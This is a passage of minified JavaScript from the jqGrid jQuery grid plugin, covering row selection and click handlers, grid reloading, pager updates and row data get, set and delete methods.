l=Ye(Q).jqGrid("getGridParam","selrow"),t=Ye(Q).jqGrid("getInd",m),r=Ye(Q).jqGrid("getInd",l),o=i="",o=r<t?(i=l,m):(i=m,l),l=!(n=a=!1),-1<Ye.inArray(m,Q.p.selarrrow)&&(l=!1),Ye.each(Ye(this).getDataIDs(),function(e,t){return(n=t===i||n)&&Ye(Q).jqGrid("resetSelection",t),t!==o}),l&&Ye.each(Ye(this).getDataIDs(),function(e,t){return(a=t===i||a)&&Ye(Q).jqGrid("setSelection",t,!1),t!==o}),void(Q.p.selrow=r<t?o:i);window.getSelection().removeAllRanges()}Ke(m,s,e,!1)}else Q.p.multikey?e[Q.p.multikey]?Ye(Q).jqGrid("setSelection",m,!0,e):Q.p.multiselect&&s&&(s=Ye("#jqg_"+Ye.jgrid.jqID(Q.p.id)+"_"+m).is(":checked"),Ye("#jqg_"+Ye.jgrid.jqID(Q.p.id)+"_"+m)[Q.p.useProp?"prop":"attr"]("checked",!s)):Ke(m,s,e,!0)}else if(Q.p.multiselect&&s&&d)Ye(Q).jqGrid("setSelection",m,!0,e);else if(0<p.length)try{Ye(Q).jqGrid("editCell",c[0].rowIndex,_,!0,e)}catch(e){}},reloadGrid:function(e,t){var r;return!0===Q.p.treeGrid&&(Q.p.datatype=Q.p.treedatatype),(t=t||{}).current&&Q.grid.selectionPreserver(Q),"local"===Q.p.datatype?(Ye(Q).jqGrid("resetSelection"),Q.p.data.length&&(B(),ne())):Q.p.treeGrid||(Q.p.selrow=null,Q.p.multiselect&&!Q.p.preserveSelection&&(Q.p.selarrrow=[],se(!1)),Q.p.savedRow=[]),Q.p.scroll&&ae.call(Q,!0,!1),t.page&&((r=t.page)>Q.p.lastpage&&(r=Q.p.lastpage),Q.p.page=r=r<1?1:r,Q.grid.prevRowHeight?Q.grid.bDiv.scrollTop=(r-1)*Q.grid.prevRowHeight*Q.p.rowNum:Q.grid.bDiv.scrollTop=0),Q.grid.prevRowHeight&&Q.p.scroll&&void 0===t.page?(delete Q.p.lastpage,Q.grid.populateVisible()):Q.grid.populate(),!0===Q.p.inlineNav&&Ye(Q).jqGrid("showAddEditButtons"),Q.p.searchCols&&!Ye.isEmptyObject(Q.p._results)&&(Q.p._results={},Ye.jgrid.searchColOnEnter(Q.p.id,null)),!1},dblclick:function(e){var t;if(p=e.target,c=Ye(p,Q.rows).closest("tr.jqgrow"),0!==Ye(c).length)return m=c[0].rowIndex,_=Ye.jgrid.getCellIndex(p),t=Ye(Q).triggerHandler("jqGridDblClickRow",[Ye(c).attr("id"),m,_,e]),!Ye.jgrid.isNull(t)||Ye.jgrid.isFunction(Q.p.ondblClickRow)&&(t=Q.p.ondblClickRow.call(Q,Ye(c).attr("id"),m,_,e),!Ye.jgrid.isNull(t))?t:void 0},contextmenu:function(e){var t;if(p=e.target,c=Ye(p,Q.rows).closest("tr.jqgrow"),0!==Ye(c).length)return Q.p.multiselect||Ye(Q).jqGrid("setSelection",c[0].id,!0,e),m=c[0].rowIndex,_=Ye.jgrid.getCellIndex(p),t=Ye(Q).triggerHandler("jqGridRightClickRow",[Ye(c).attr("id"),m,_,e]),!Ye.jgrid.isNull(t)||Ye.jgrid.isFunction(Q.p.onRightClickRow)&&(t=Q.p.onRightClickRow.call(Q,Ye(c).attr("id"),m,_,e),!Ye.jgrid.isNull(t))?t:void 0}}),x.bDiv=document.createElement("div"),M&&"auto"===String(Q.p.height).toLowerCase()&&(Q.p.height="100%"),Ye(x.bDiv).append(Ye('<div style="position:relative;"></div>').append("<div></div>").append(this)).addClass("ui-jqgrid-bdiv").css({height:Q.p.height+(isNaN(Q.p.height)?"":"px"),width:x.width-a+"px"}).on("scroll",x.scrollGrid),Ye(x.bDiv).find("table").first().css({width:Q.p.tblwidth+"px"}),Ye.support.tbody||2===Ye("tbody",this).length&&Ye("tbody",this).slice(1).remove(),Q.p.multikey&&(Ye.jgrid.msie()?Ye(x.bDiv).on("selectstart",function(){return!1}):Ye(x.bDiv).on("mousedown",function(){return!1})),q&&Ye(x.bDiv).hide(),I+" "+K($,"icon_caption_open",!0)),Qe=I+" "+K($,"icon_caption_close",!0),Xe=(x.cDiv=document.createElement("div"),!0===Q.p.hidegrid?Ye("<a role='link' class='ui-jqgrid-titlebar-close HeaderButton "+N+"' title='"+(Ye.jgrid.getRegional(Q,"defaults.showhide",Q.p.showhide)||"")+"' />").hover(function(){Xe.addClass(C)},function(){Xe.removeClass(C)}).append("<span class='ui-jqgrid-headlink "+We+"'></span>").css("rtl"===v?"left":"right","0px"):"");Ye(x.cDiv).append(Xe).append("<span class='ui-jqgrid-title'>"+Q.p.caption+"</span>").addClass("ui-jqgrid-titlebar ui-jqgrid-caption"+("rtl"===v?"-rtl":"")+" "+K($,"gridtitleBox",!0)),!0===Q.p.menubar&&(Ne='<ul id="'+Q.p.id+'_menubar" class="ui-search-menu modal-content column-menu ui-menu jqgrid-caption-menu '+D.menu_widget+'" role="menubar" tabindex="0"></ul>',Ye("#gbox_"+Q.p.id).append(Ne),Ye(x.cDiv).append("<a role='link' class='ui-jqgrid-menubar menubar-"+("rtl"===v?"rtl":"ltr")+"' style=''><span class='colmenuspan "+I+" "+D.icon_toolbar_menu+"'></span></a>"),Ye(".ui-jqgrid-menubar",x.cDiv).hover(function(){Ye(this).addClass(C)},function(){Ye(this).removeClass(C)}).on("click",function(e){e=Ye(e.target).position();Ye("#"+Q.p.id+"_menubar").show(),"rtl"===Q.p.direction&&Ye("#"+Q.p.id+"_menubar").css({left:e.left-Ye("#"+Q.p.id+"_menubar").width()-20})})),Ye(x.cDiv).insertBefore(x.hDiv),Q.p.toolbar[0]&&(n=K($,"customtoolbarBox",!0,"ui-userdata"),x.uDiv=document.createElement("div"),"top"===Q.p.toolbar[1]?Ye(x.uDiv).insertBefore(x.hDiv):"bottom"===Q.p.toolbar[1]&&Ye(x.uDiv).insertAfter(x.hDiv),"both"===Q.p.toolbar[1]?(x.ubDiv=document.createElement("div"),Ye(x.uDiv).addClass(n+" ui-userdata-top").attr("id","t_"+this.id).insertBefore(x.hDiv).width(x.width-a),Ye(x.ubDiv).addClass(n+" ui-userdata-bottom").attr("id","tb_"+this.id).insertAfter(x.hDiv).width(x.width-a),q&&Ye(x.ubDiv).hide()):Ye(x.uDiv).width(x.width-a).addClass(n+" ui-userdata-top").attr("id","t_"+this.id),q)&&Ye(x.uDiv).hide(),Q.p.toppager&&(Q.p.toppager=Ye.jgrid.jqID(Q.p.id)+"_toppager",x.topDiv=Ye("<div id='"+Q.p.toppager+"'></div>")[0],Ye(x.topDiv).addClass(K($,"toppagerBox",!0,"ui-jqgrid-toppager")).width(x.width-a).insertBefore(x.hDiv),de(Q.p.toppager,"_t"),Q.p.toppager="#"+Q.p.toppager),Q.p.footerrow&&(x.sDiv=Ye("<div class='ui-jqgrid-sdiv'></div>")[0],t=Ye("<div class='ui-jqgrid-hbox"+("rtl"===v?"-rtl":"")+"'></div>"),Ye(x.sDiv).append(t).width(x.width-a).insertAfter(x.hDiv),Ye(t).append(ke),x.footers=Ye(".ui-jqgrid-ftable",x.sDiv)[0].rows[0].cells,Q.p.rownumbers&&(x.footers[0].className=K($,"rownumBox",!0,"jqgrid-rownum")),q)&&Ye(x.sDiv).hide(),Q.p.headerrow&&(x.hrDiv=Ye("<div class='ui-jqgrid-hrdiv'></div>")[0],t=Ye("<div class='ui-jqgrid-hbox"+("rtl"===v?"-rtl":"")+"'></div>"),Ye(x.hrDiv).append(t).width(x.width-a).insertAfter(x.hDiv),Ye(t).append(Re),x.hrheaders=Ye(".ui-jqgrid-hrtable",x.hrDiv)[0].rows[0].cells,Q.p.rownumbers&&(x.hrheaders[0].className=K($,"rownumBox",!0,"jqgrid-rownum")),q)&&Ye(x.nDiv).hide(),t=null,Q.p.caption?(Le=Q.p.datatype,!0===Q.p.hidegrid&&(Ye(".ui-jqgrid-titlebar-close",x.cDiv).click(function(e){var t,r=Ye.jgrid.isFunction(Q.p.onHeaderClick),i=".ui-jqgrid-bdiv, .ui-jqgrid-hdiv, .ui-jqgrid-toppager, .ui-jqgrid-pager, .ui-jqgrid-sdiv, .ui-jqgrid-hrdiv",o=this;return!0===Q.p.toolbar[0]&&("both"===Q.p.toolbar[1]&&(i+=", #"+Ye(x.ubDiv).attr("id")),i+=", #"+Ye(x.uDiv).attr("id")),t=Ye(i,"#gview_"+Ye.jgrid.jqID(Q.p.id)).length,"visible"===Q.p.gridstate?Ye(i,"#gbox_"+Ye.jgrid.jqID(Q.p.id)).slideUp("fast",function(){0===--t&&(Ye("span",o).removeClass(We).addClass(Qe),Q.p.gridstate="hidden",Ye("#gbox_"+Ye.jgrid.jqID(Q.p.id)).hasClass("ui-resizable")&&Ye(".ui-resizable-handle","#gbox_"+Ye.jgrid.jqID(Q.p.id)).hide(),Ye(Q).triggerHandler("jqGridHeaderClick",[Q.p.gridstate,e]),r)&&!q&&Q.p.onHeaderClick.call(Q,Q.p.gridstate,e)}):"hidden"===Q.p.gridstate&&Ye(i,"#gbox_"+Ye.jgrid.jqID(Q.p.id)).slideDown("fast",function(){0===--t&&(Ye("span",o).removeClass(Qe).addClass(We),q&&(Q.p.datatype=Le,w(),q=!1),Q.p.gridstate="visible",Ye("#gbox_"+Ye.jgrid.jqID(Q.p.id)).hasClass("ui-resizable")&&Ye(".ui-resizable-handle","#gbox_"+Ye.jgrid.jqID(Q.p.id)).show(),Ye(Q).triggerHandler("jqGridHeaderClick",[Q.p.gridstate,e]),r)&&!q&&Q.p.onHeaderClick.call(Q,Q.p.gridstate,e)}),!1}),q)&&(Q.p.datatype="local",Ye(".ui-jqgrid-titlebar-close",x.cDiv).trigger("click"))):(Ye(x.cDiv).hide(),Q.p.toppager||Ye(x.hDiv).addClass(K(Q.p.styleUI+".common","cornertop",!0))),(Q.p.headerrow?Ye(x.hrDiv):Ye(x.hDiv)).after(x.bDiv),Ye(x.hDiv).mousemove(function(e){if(x.resizing)return x.dragMove(e),!1}),Ye(".ui-jqgrid-labels",x.hDiv).on("selectstart",function(){return!1}),Ye(document).on("mouseup.jqGrid"+Q.p.id,function(){return!x.resizing||(x.dragEnd(!0),!1)}),"rtl"===Q.p.direction&&Ye(Q).on("jqGridAfterGridComplete.setRTLPadding",function(){var e=x.bDiv.offsetWidth-x.bDiv.clientWidth;0<e&&(e+=2),Ye(x.hDiv).find("div").first().hasClass("ui-jqgrid-hbox-rtl")&&Ye(x.hDiv).find("div").first().css({paddingLeft:e+"px"}),x.hDiv.scrollLeft=x.bDiv.scrollLeft}),Q.p.autoResizing&&Ye(Q).on("jqGridAfterGridComplete.setAutoSizeColumns",function(){var e=!1,t=!1;!0===Q.p.frozenColumns&&(t=Ye(":focus",".frozen-div").attr("id"),Ye(Q).jqGrid("destroyFrozenColumns"),e=!0),0<Q.p.colSpanHeader.length&&Ye(Q).jqGrid("destroyColSpanHeader",!1),Ye(Q.p.colModel).each(function(e){this.autosize&&!this.hidden&&this._maxsize&&0<this._maxsize&&Ye(Q).jqGrid("resizeColumn",e,this._maxsize+Q.p.cellLayout,!1,!1)}),Ye(Q).jqGrid("refreshGroupHeaders"),0<Q.p.colSpanHeader.length&&Ye(Q).jqGrid("setColSpanHeader",Q.p.colSpanHeader),e&&(Ye(Q).jqGrid("setFrozenColumns"),t)&&setTimeout(function(){Ye("#"+t,".frozen-div").trigger("focus")},10)}),Q.p.searchCols&&(Ye(Q).on("jqGridPaging.searchCols",function(){Ye.isEmptyObject(Q.p._results)||(Q.p._results={},Ye.jgrid.searchColOnEnter(Q.p.id,null))}),Ye(Q).on("jqGridSortCol.searchCols",function(){Ye.isEmptyObject(Q.p._results)||(Q.p._results={},Ye.jgrid.searchColOnEnter(Q.p.id,null))}),Q.p.colMenu)&&Q.p.searchColOptions.colmenu&&Ye(Q).jqGrid("addColSearchMenu"),Q.formatCol=l,Q.sortData=ce,Q.updatepager=function(e,t){var r,i,o,a,n,l,s,d=Q.p.pager?Q.p.pager.substring(1):"",d=d?"_"+d:"",p=Q.p.toppager?"_"+Q.p.toppager.slice(1):"",c=parseInt(Q.p.page,10)-1;c<0&&(c=0),r=(c*=parseInt(Q.p.rowNum,10))+Q.p.reccount,Q.p.scroll&&(a=Ye("tbody",Q.grid.bDiv).first().find("> tr").slice(1),r>Q.p.records&&(r=Q.p.records),c=r-a.length,Q.p.reccount=a.length,(a=a.outerHeight()||Q.grid.prevRowHeight)&&(s=c*a,l=parseInt(Q.p.records,10)*a,Ye(Q.grid.bDiv).find(">div").first().css({height:l}).children("div").first().css({height:s,display:s?"":"none"}),0===Q.grid.bDiv.scrollTop)&&1<Q.p.page&&(Q.grid.bDiv.scrollTop=Q.p.rowNum*(Q.p.page-1)*a),Q.grid.bDiv.scrollLeft=Q.grid.hDiv.scrollLeft),l=Q.p.pager||"",(l+=Q.p.toppager?l?","+Q.p.toppager:Q.p.toppager:"")&&(s=Ye.jgrid.getRegional(Q,"formatter.integer"),a=J(Q.p.page),n=J(Q.p.lastpage),Ye(".selbox",l)[this.p.useProp?"prop":"attr"]("disabled",!1),!0===Q.p.pginput&&(Ye(".ui-pg-input",l)[Ye(".ui-pg-input",l).first().is(":input")?"val":"html"](n<a?Q.p.lastpage:Q.p.page),o=Q.p.toppager?"#sp_1"+d+",#sp_1"+p:"#sp_1"+d,Ye(o).html(Ye.fmatter?Ye.fmatter.util.NumberFormat(Q.p.lastpage,s):Q.p.lastpage)),Q.p.viewrecords&&(0===Q.p.reccount?Ye(".ui-paging-info",l).html(Ye.jgrid.getRegional(Q,"defaults.emptyrecords",Q.p.emptyrecords)):(o=c+1,i=Q.p.records,Ye.fmatter&&(o=Ye.fmatter.util.NumberFormat(o,s),r=Ye.fmatter.util.NumberFormat(r,s),i=Ye.fmatter.util.NumberFormat(i,s)),s=Ye.jgrid.getRegional(Q,"defaults.recordtext",Q.p.recordtext),Ye(".ui-paging-info",l).html(Ye.jgrid.template(s,o,r,i)))),!0===Q.p.pgbuttons)&&(1===(a=a<=0?n=0:a)||0===a?(Ye("#first"+d+", #prev"+d).addClass(j).removeClass(C),Q.p.toppager&&Ye("#first_t"+p+", #prev_t"+p).addClass(j).removeClass(C)):(Ye("#first"+d+", #prev"+d).removeClass(j),Q.p.toppager&&Ye("#first_t"+p+", #prev_t"+p).removeClass(j)),a===n||0===a?(Ye("#next"+d+", #last"+d).addClass(j).removeClass(C),Q.p.toppager&&Ye("#next_t"+p+", #last_t"+p).addClass(j).removeClass(C)):(Ye("#next"+d+", #last"+d).removeClass(j),Q.p.toppager&&Ye("#next_t"+p+", #last_t"+p).removeClass(j))),!0===e&&!0===Q.p.rownumbers&&Ye(">td.jqgrid-rownum",Q.rows).each(function(e){Ye(this).html(c+1+e)}),0===Q.p.reccount&&(l=Q.p.emptyRecordRow?K($,"rowBox",!0,"jqgrow ui-row-"+Q.p.direction+" not-editable-row not-editable-cell "+j):"jqgfirstrow not-editable-row not-editable-cell",s=(s=le("norecs",!1,l,{},""))+(Q.p.emptyRecordRow?"<td style='text-align:center;' colspan='"+x.headers.length+"'>"+Ye.jgrid.getRegional(Q,"defaults.emptyrecords",Q.p.emptyrecords)+"</td>":"<td style='height:0.1px;visibility:hidden;' colspan='"+x.headers.length+"'> </td>")+"</tr>",Ye(x.bDiv).find("table").first().append(s)),t&&Q.p.jqgdnd&&Ye(Q).jqGrid("gridDnD","updateDnD"),Ye(Q).triggerHandler("jqGridGridComplete"),Ye.jgrid.isFunction(Q.p.gridComplete)&&Q.p.gridComplete.call(Q),Ye(Q).triggerHandler("jqGridAfterGridComplete")},Q.refreshIndex=ne,Q.setHeadCheckBox=se,Q.constructTr=le,Q.formatter=function(e,t,r,i,o){return P(e,t,r,i,o)},Ye.extend(x,{populate:w,emptyRows:ae,beginReq:L,endReq:y}),this.grid=x,Q.addXmlData=function(e){E(e)},Q.addJSONData=function(e){z(e)},Q.addLocalData=function(e){return U(e)},Q.addIndexedDBData=function(e){return H(e)},Q.treeGrid_beforeRequest=function(){Q.p.treeGrid&&Q.p.treeGrid_bigData&&void 0!==Q.p.postData.nodeid&&"string"==typeof Q.p.postData.nodeid&&(""!==Q.p.postData.nodeid||0<parseInt(Q.p.postData.nodeid,10))&&(Q.p.postData.rows=1e4,Q.p.postData.page=1,Q.p.treeGrid_rootParams.otherData.nodeid=Q.p.postData.nodeid)},Q.treeGrid_afterLoadComplete=function(){Q.p.treeGrid&&Q.p.treeGrid_bigData&&(void 0!==Q.p.treeGrid_rootParams.otherData.nodeid&&"string"==typeof Q.p.treeGrid_rootParams.otherData.nodeid&&(""!==Q.p.treeGrid_rootParams.otherData.nodeid||0<parseInt(Q.p.treeGrid_rootParams.otherData.nodeid,10))?void 0===Q.p.treeGrid_rootParams||Ye.jgrid.isNull(Q.p.treeGrid_rootParams)||(Q.p.page=Q.p.treeGrid_rootParams.page,Q.p.lastpage=Q.p.treeGrid_rootParams.lastpage,Q.p.postData.rows=Q.p.treeGrid_rootParams.postData.rows,Q.p.postData.totalrows=Q.p.treeGrid_rootParams.postData.totalrows,Q.p.treeGrid_rootParams.otherData.nodeid="",Q.updatepager(!1,!0)):Q.p.treeGrid_rootParams={page:Q.p.page,lastpage:Q.p.lastpage,postData:{rows:Q.p.postData.rows,totalrows:Q.p.postData.totalrows},rowNum:Q.p.rowNum,rowTotal:Q.p.rowTotal,otherData:{nodeid:""}})},this.grid.cols=this.rows[0].cells,Ye.jgrid.isFunction(Q.p.onInitGrid)&&Q.p.onInitGrid.call(Q),Ye(Q).triggerHandler("jqGridInitGrid"),w(),Q.p.hiddengrid=!1,Q.p.responsive&&(r="onorientationchange"in window?"orientationchange":"resize",Ye(window).on(r,function(){Ye.jgrid.isVisible(Q)&&Ye(Q).jqGrid("resizeGrid",500,!0,Q.p.resizeHeight,!0)}))}}}function Ke(e,t,r,i){var o;!(Q.p.multiselect&&Q.p.multiboxonly||Q.p.multimail)||t?Ye(Q).jqGrid("setSelection",e,i,r):Q.p.multiboxonly&&Q.p.multimail?(Ye(Q).triggerHandler("jqGridSelectRow",[e,!1,r]),Q.p.onSelectRow&&Q.p.onSelectRow.call(Q,e,!1,r)):(o=Q.p.frozenColumns?Q.p.id+"_frozen":"",Ye(Q.p.selarrrow).each(function(e,t){var r=Ye(Q).jqGrid("getGridRowById",t);r&&Ye(r).removeClass(Y),Ye("#jqg_"+Ye.jgrid.jqID(Q.p.id)+"_"+Ye.jgrid.jqID(t))[Q.p.useProp?"prop":"attr"]("checked",!1),o&&(Ye("#"+Ye.jgrid.jqID(t),"#"+Ye.jgrid.jqID(o)).removeClass(Y),Ye("#jqg_"+Ye.jgrid.jqID(Q.p.id)+"_"+Ye.jgrid.jqID(t),"#"+Ye.jgrid.jqID(o))[Q.p.useProp?"prop":"attr"]("checked",!1))}),Q.p.selarrrow=[],Ye(Q).jqGrid("setSelection",e,i,r))}});var e,t=Ye.jgrid.getMethod($e);if(t)return e=Ye.makeArray(arguments).slice(1),t.apply(this,e);throw"jqGrid - No such method: "+$e},Ye.jgrid.extend({getGridParam:function(e,t){var r,i=this[0];if(i&&i.grid){if(r=i.p,"jqGrid"!==(t=void 0===t&&"string"!=typeof t?"jqGrid":t))try{r=Ye(i).data(t)}catch(e){r=i.p}return e?void 0!==r[e]?r[e]:null:r}},setGridParam:function(t,r){return this.each(function(){var e;Ye.jgrid.isNull(r)&&(r=!1),this.grid&&"object"==typeof t&&(!0===r?(e=Ye.extend({},this.p,t),this.p=e):Ye.extend(!0,this.p,t))})},getGridRowById:function(t){var r;return this.each(function(){try{r=this.rows.namedItem(t)}catch(e){r=Ye(this.grid.bDiv).find("#"+Ye.jgrid.jqID(t))[0]}}),r},getGridRowByIndex:function(t){var r=null;return this.each(function(){var e=this.rows.length-1;1<=t&&1<=e&&t<=e&&(r=this.rows[t])}),r},getDataIDs:function(){var e,t=[],r=0,i=0;return this.each(function(){if((e=this.rows.length)&&0<e)for(;r<e;)Ye(this.rows[r]).hasClass("jqgrow")&&"norecs"!==this.rows[r].id&&(t[i]=this.rows[r].id,i++),r++}),t},setSelection:function(p,c,u,h){return this.each(function(){var e,t,r,i,o,a,n,l=this,s=Ye.jgrid.getMethod("getStyleUI"),d=s(l.p.styleUI+".common","highlight",!0),s=s(l.p.styleUI+".common","disabled",!0);void 0!==p&&(h=!1!==(h=void 0===h?!0:h),c=!1!==c,t=Ye(l).jqGrid("getGridRowById",p))&&t.className&&!(-1<t.className.indexOf(s))&&(!0===l.p.scrollrows&&0<=(s=Ye(l).jqGrid("getGridRowById",p).rowIndex)&&(s=s,o=Ye(l.grid.bDiv)[0].clientHeight,a=Ye(l.grid.bDiv)[0].scrollTop,n=Ye(l.rows[s]).position().top,s=l.rows[s].clientHeight,o+a<=n+s?Ye(l.grid.bDiv)[0].scrollTop=n-(o+a)+s+a:n<o+a&&n<a&&(Ye(l.grid.bDiv)[0].scrollTop=n)),!0===l.p.frozenColumns&&(r=l.p.id+"_frozen"),!0===l.p.frozenRows&&(i=l.p.id+"_fr"),l.p.multiselect?(l.setHeadCheckBox(!1),l.p.selrow=t.id,-1===(s=Ye.inArray(l.p.selrow,l.p.selarrrow))?("ui-subgrid"!==t.className&&Ye(t).addClass(d).attr("aria-selected","true"),e=!0,l.p.selarrrow.push(l.p.selrow)):-1!==s&&"_sp_"===u?("ui-subgrid"!==t.className&&Ye(t).addClass(d).attr("aria-selected","true"),e=!0):("ui-subgrid"!==t.className&&Ye(t).removeClass(d).attr("aria-selected","false"),e=!1,l.p.selarrrow.splice(s,1),o=l.p.selarrrow[0],l.p.selrow=void 0===o?null:o),Ye("#jqg_"+Ye.jgrid.jqID(l.p.id)+"_"+Ye.jgrid.jqID(t.id))[l.p.useProp?"prop":"attr"]("checked",e),r&&(h&&(-1===s?Ye("#"+Ye.jgrid.jqID(p),"#"+Ye.jgrid.jqID(r)).addClass(d):Ye("#"+Ye.jgrid.jqID(p),"#"+Ye.jgrid.jqID(r)).removeClass(d)),Ye("#jqg_"+Ye.jgrid.jqID(l.p.id)+"_"+Ye.jgrid.jqID(p),"#"+Ye.jgrid.jqID(r))[l.p.useProp?"prop":"attr"]("checked",e)),c&&(Ye(l).triggerHandler("jqGridSelectRow",[t.id,e,u]),l.p.onSelectRow)&&l.p.onSelectRow.call(l,t.id,e,u),Ye.jgrid.isFunction(l.p.onMultiSelect)&&l.p.onMultiSelect.call(l,l.p.selarrrow)):(i&&Ye("#"+Ye.jgrid.jqID(l.p.selrow),"#"+Ye.jgrid.jqID(i)).removeClass(d),"ui-subgrid"!==t.className&&(e=l.p.selrow!==t.id&&(h&&((a=Ye(l).jqGrid("getGridRowById",l.p.selrow))&&Ye(a).removeClass(d).attr({"aria-selected":"false",tabindex:"-1"}),Ye(t).addClass(d).attr({"aria-selected":"true",tabindex:"0"}),r)&&(Ye("#"+Ye.jgrid.jqID(l.p.selrow),"#"+Ye.jgrid.jqID(r)).removeClass(d),Ye("#"+Ye.jgrid.jqID(p),"#"+Ye.jgrid.jqID(r)).addClass(d)),!0),l.p.selrow=t.id,c)&&(Ye(l).triggerHandler("jqGridSelectRow",[t.id,e,u]),l.p.onSelectRow)&&l.p.onSelectRow.call(l,t.id,e,u)))})},resetSelection:function(n){return this.each(function(){var r,e,t,i=this,o=Ye.jgrid.getMethod("getStyleUI"),a=o(i.p.styleUI+".common","highlight",!0),o=o(i.p.styleUI+".common","hover",!0);!0===i.p.frozenColumns&&(r=i.p.id+"_frozen"),void 0!==n?(t=n===i.p.selrow?i.p.selrow:n,Ye("#"+Ye.jgrid.jqID(i.p.id)+" tbody").first().find("tr#"+Ye.jgrid.jqID(t)).removeClass(a).attr("aria-selected","false"),r&&Ye("#"+Ye.jgrid.jqID(t),"#"+Ye.jgrid.jqID(r)).removeClass(a),i.p.multiselect&&(Ye("#jqg_"+Ye.jgrid.jqID(i.p.id)+"_"+Ye.jgrid.jqID(t),"#"+Ye.jgrid.jqID(i.p.id))[i.p.useProp?"prop":"attr"]("checked",!1),r&&Ye("#jqg_"+Ye.jgrid.jqID(i.p.id)+"_"+Ye.jgrid.jqID(t),"#"+Ye.jgrid.jqID(r))[i.p.useProp?"prop":"attr"]("checked",!1),i.setHeadCheckBox(!1),-1!==(e=Ye.inArray(Ye.jgrid.jqID(t),i.p.selarrrow)))&&i.p.selarrrow.splice(e,1),i.p.onUnSelectRow&&i.p.onUnSelectRow.call(i,t),t=null):i.p.multiselect?(Ye(i.p.selarrrow).each(function(e,t){Ye(Ye(i).jqGrid("getGridRowById",t)).removeClass(a).attr("aria-selected","false"),Ye("#jqg_"+Ye.jgrid.jqID(i.p.id)+"_"+Ye.jgrid.jqID(t))[i.p.useProp?"prop":"attr"]("checked",!1),r&&(Ye("#"+Ye.jgrid.jqID(t),"#"+Ye.jgrid.jqID(r)).removeClass(a),Ye("#jqg_"+Ye.jgrid.jqID(i.p.id)+"_"+Ye.jgrid.jqID(t),"#"+Ye.jgrid.jqID(r))[i.p.useProp?"prop":"attr"]("checked",!1)),i.p.onUnSelectRow&&i.p.onUnSelectRow.call(i,t)}),i.setHeadCheckBox(!1),i.p.selarrrow=[],i.p.selrow=null):i.p.selrow&&(Ye("#"+Ye.jgrid.jqID(i.p.id)+" tbody").first().find("tr#"+Ye.jgrid.jqID(i.p.selrow)).removeClass(a).attr("aria-selected","false"),r&&Ye("#"+Ye.jgrid.jqID(i.p.selrow),"#"+Ye.jgrid.jqID(r)).removeClass(a),i.p.onUnSelectRow&&i.p.onUnSelectRow.call(i,i.p.selrow),i.p.selrow=null),!0===i.p.cellEdit&&0<=parseInt(i.p.iCol,10)&&0<=parseInt(i.p.iRow,10)&&(Ye("td",i.rows[i.p.iRow]).eq(i.p.iCol).removeClass("edit-cell "+a),Ye(i.rows[i.p.iRow]).removeClass("selected-row "+o)),Ye.jgrid.isFunction(i.p.onMultiSelect)&&i.p.onMultiSelect.call(i,i.p.selarrrow)})},getRowData:function(e,a,n,l){var s,d,p={},c=!1,u=0;return this.each(function(){var t,r,i=this;if(Ye.jgrid.isNull(e))c=!0,s=[],d=i.rows.length;else{if(!(r=Ye(i).jqGrid("getGridRowById",e)))return p;d=1}for(a&&!0===a&&0<i.p.data.length||(a=!1),Ye.jgrid.isNull(n)&&(n=!1),Ye.jgrid.isNull(l)&&(l=!1);u<d;){if(c&&(r=i.rows[u]),Ye(r).hasClass("jqgrow")&&"norecs"!==r.id){if(!0===i.p.treeGrid&&!0===l&&Ye(r).is(":hidden")){u++;continue}if(a?p=Ye.extend({},i.p.data[i.p._index[Ye.jgrid.stripPref(i.p.idPrefix,r.id)]]):Ye(r).children('td[role="gridcell"]').each(function(e){if("cb"!==(t=i.p.colModel[e].name)&&"subgrid"!==t&&"rn"!==t&&"sc"!==t)if(!0===i.p.treeGrid&&t===i.p.ExpandColumn)p[t]=Ye.jgrid.htmlDecode(Ye(this).find("span").first().html());else try{p[t]=Ye.unformat.call(i,this,{rowId:r.id,colModel:i.p.colModel[e]},e)}catch(e){p[t]=Ye.jgrid.htmlDecode(Ye(this).html())}}),!0===i.p.treeGrid&&n){var o=i.p.treeReader.level_field;n+="";try{o=parseInt(p[o],10)}catch(e){o=0}p[i.p.ExpandColumn]=n.repeat(o)+p[i.p.ExpandColumn]}c&&(s.push(p),p={})}u++}}),s||p},delRowData:function(r){var i,o,a=!1;return this.each(function(){var e,t=this;if(!(i=Ye(t).jqGrid("getGridRowById",r)))return!1;r=i.id,t.p.subGrid&&(o=Ye(i).next()).hasClass("ui-subgrid")&&o.remove(),Ye(i).remove(),t.p.records--,t.p.reccount--,t.updatepager(!0,!1),a=!0,t.p.frozenColumns&&Ye("#"+r,"#"+Ye.jgrid.jqID(t.p.id+"_frozen")).remove(),t.p.multiselect&&-1!==(o=Ye.inArray(r,t.p.selarrrow))&&t.p.selarrrow.splice(o,1),t.p.multiselect&&0<t.p.selarrrow.length?t.p.selrow=t.p.selarrrow[t.p.selarrrow.length-1]:t.p.selrow===r&&(t.p.selrow=null),"local"===t.p.datatype&&(e=Ye.jgrid.stripPref(t.p.idPrefix,r),void 0!==(e=t.p._index[e]))&&(t.p.data.splice(e,1),t.refreshIndex())}),a},setRowData:function(d,p,c,u){var h,g=!0;return this.each(function(){if(!this.grid)return!1;var r,e,i,o=this,a={},n=Ye(this).jqGrid("getGridRowById",d);if(!n)return!1;if(!0===u&&(e=Ye(o).jqGrid("getRowData",d,"local"===o.p.datatype)),p){u&&(p=Ye.extend(e,p));try{if(Ye(this.p.colModel).each(function(e){h=this.name;var t=Ye.jgrid.getAccessor(p,h);void 0!==t&&(a[h]=t,r=o.formatter(d,a[h],e,p,"edit"),i=this.title?{title:Ye.jgrid.stripHtml(r)}:{},(!0===o.p.treeGrid&&h===o.p.ExpandColumn?Ye("td[role='gridcell']",n).eq(e).find("span[class*='cell-wrapper']"):Ye("td[role='gridcell']",n).eq(e)).html(r).attr(i),o.p.frozenColumns)&&e<=o.p.frozenColCount&&Ye("#"+d+" td[role='gridcell']","#"+Ye.jgrid.jqID(o.p.id+"_frozen")).eq(e).html(r).attr(i)}),"local"===o.p.datatype){var t,l=Ye.jgrid.stripPref(o.p.idPrefix,d),s=o.p._index[l];if(o.p.treeGrid)for(t in o.p.treeReader)o.p.treeReader.hasOwnProperty(t)&&delete a[o.p.treeReader[t]];void 0!==s&&(o.p.data[s]=Ye.extend(!0,o.p.data[s],a)),a=null}}catch(e){g=!1}}g&&("string"==typeof c?Ye(n).addClass(c):Ye.jgrid.isNull(c)||"object"!=typeof c||Ye(n).css(c),Ye(o).triggerHandler("jqGridAfterGridComplete"))}),g},addRowData:function(n,l,s,d){-1===Ye.inArray(s,["first","last","before","after"])&&(s="last");var p,c,u,h,g,f,m,v,j,b,y,w,x=!1,_="",q="",C="";return 